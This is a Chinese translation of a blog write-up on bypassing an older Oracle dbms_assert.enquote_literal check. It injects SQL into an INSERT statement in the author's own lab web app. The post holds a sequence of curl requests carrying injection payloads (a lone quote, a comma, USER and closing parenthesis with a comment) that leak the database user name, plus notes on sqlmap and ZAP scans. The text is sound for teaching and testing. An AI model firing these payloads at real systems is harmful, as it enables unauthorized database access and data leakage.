检测并实现绕过DBMS_ASSERT


本文翻译自: http://obtruse.syfrtext.com/2018/04/detecting-and-implementing-dbmsassert.html


概述

上一篇文章讨论了旧版本的Oracle dbms_assert.enqoute_literal方法中的一个bug,这个bug可能让攻击者绕过SQL注入保护并使系统数据泄露。

本文将探讨“real-world” 一个绕过dbms_assert的方案,以及一些非标准的SQL注入方法。

Web应用程序

就这个例子而言,我构建了一个简单(而且很丑)的Web应用程序,它允许用户在表中插入记录和搜索该表中的记录。

Web应用程序是使用modowa和Oracle XE数据库构建的。

基本功能

应用程序本身非常简单,它允许用户输入新请求:


它还允许用户在任何输入的字段中搜索现有的请求:

内部程序

查看Web应用程序的html,我们可以看到两个调用搜索和插入操作的句柄的AJAX。

<html>
<head>
<title>Service Request Board</title>
<script>
function loadRequests() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
     document.getElementById("open").innerHTML = this.responseText;
    }
  };
  xhttp.open("GET", "/pls/public/portal.pkg_service_requests.get_requests?p_request_type="+document.getElementById("p_request_type").value+"&p_requestor="+ document.getElementById("p_requestor").value +"&p_email="+ document.getElementById("p_email").value +"&p_description="+ document.getElementById("p_description").value , true);
  xhttp.send();
}
function addRequest() {
 var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
     document.getElementById("open").innerHTML = this.responseText;
    }
  };
  xhttp.open("GET", "/pls/public/portal.pkg_service_requests.add_request?p_request_type="+document.getElementById("p_request_type").value+"&p_requestor="+ document.getElementById("p_requestor").value +"&p_email="+ document.getElementById("p_email").value +"&p_description="+ document.getElementById("p_description").value , true);
  xhttp.send();

}
</script>
<body onload="loadRequests()">
<div name="title"><h1>Service Request Page</h1></div>
<div name="requests">
<h2>Open Requests</h2>
<div id="open" name="open">
<!-- load content via ajax -->
</div>
<div name="form">
<div><span>Type: <input id="p_request_type" type="text"></span></div>
<div><span>Name: <input id="p_requestor" type="text"></span></div>
<div><span>Email: <input id="p_email" type="text"></span></div>
<div><span>Description: <input id="p_description" type="text"></span>
<div><span><button name="search" onClick="loadRequests()">Search</button></span>
<span><button name="add" onClick="addRequest()">Add Request</button></span></div>
</div>
</body>
</html>

如果我们curl上面java脚本函数中看到的两种方法,我们可以更好地遵循服务器交互。

curl -v "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email=not.bruce@waynetech.com&p_description=BATMAN"

curl http://192.168.1.5//pls/public/portal.pkg_service_requests.get_requests?p_description=BAT

扫描应用程序

现在我们已经基本了解了应用程序的工作原理,我们可以使用标准工具(如OWASP ZAP和sqlmap)进行一些扫描。请记住,insert方法(pkg_service_requests.add_request)容易受到SQL注入的攻击。

虽然OWASP ZAP检测到该服务易受跨站点脚本攻击,但它不会检测到SQL注入的漏洞。

我们甚至在服务请求应用程序中看到了ZAP SQL注入尝试的示例。

Sqlmap的性能略优于OWASP ZAP。从下面的屏幕截图中可以看出,扫描程序成功检测到后端使用了Oracle数据库,输入参数有被轻易注入的可能,但是,sqlmap最终还是无法成功注入系统。




绕过DBMS_ASSERT

传统的SQL注入方法是将整个注入有效负载包含在一个输入参数中,通过传输单引号或双引号来输出输入值。

curl  "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email=not.bruce@waynetech.com&p_description=BATMAN'%20or%201=1"

正如我们所看到的,当我们尝试使用这种形式的注入时,服务器会返回Oracle错误。

但是,在上一篇文章我们已经提到过,如果正在使用旧版本的dbms_assert.enqoute_literal,我们就可以通过传递单引号(一个')来尝试脱离输入环节。在下面的curl语句中,单引号传递给p_email输入参数。

curl  "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=BATMAN"

现在,我们看到一个SQL语法错误:ORA-00917缺少逗号,而不是PL/SQL数值或值错误。我们找到了注射路径。但是,有一个小问题:我们的注入点在insert语句中。这意味着正常的SQL注入方法(如附加到where子句或UNION注入)将达不到这个效果,因为查询数据不会返回给服务器。

Insert注入语句

虽然我们不能使用简单的SQL注入方法,但我们可以将Oracle内置的变量和函数注入insert语句,使其从系统中收集一些信息。例如,Oracle内置函数USER和SYSDATE将告诉我们一些关于系统的信息,并且能让我们清楚地知道我们的注入路径是否能正常工作。

手动注入服务需要一点时间和反复的试验(试错法),但成功执行最终会显示用于服务连接的数据库用户的名称。

在我们手动注入服务器之前,快速回顾一下oracle插入语法和常见的oracle插入错误。

用这些错误作为参考点,我们可以运行初始注入:

curl  "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=BATMAN"

这与ORA-00917一样:缺少逗号错误,并且很容易添加逗号:

curl  "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,"

结果是ORA-01756:引用的字符串未正确终止的错误。我们不能没有冲击dbms_assert保护就来添加单个'来终止字符串。但是我们可以用oracle注释来随后引用 - :

curl  "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,--"

我们现在收到ORA-00936:缺少表达式,因为我们没有用任何数据填充插入列。我们将使用Oracle内置的USER函数来测试:

curl  "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,USER--"

我们现在看到另一个ORA-00917:缺少逗号错误。这可能意味着我们需要添加另一个记录字段,或者它可能意味着我们缺少insert语句的右括号。如果我们尝试后者,我们将会看到我们注入成功。

curl  "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,USER)--"

我们可以看到最终的注入语句成功执行,并显示了Oracle数据库用户的名称(PORTAL_USER)。

如何处理Insert

初步看来,对Insert语句的SQL注入攻击具有很大的潜在破坏力,但对数据的泄露几乎没有用处。下一篇文章将展示如何使用各种方法使用基于insert语句的攻击向量来查询数据。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖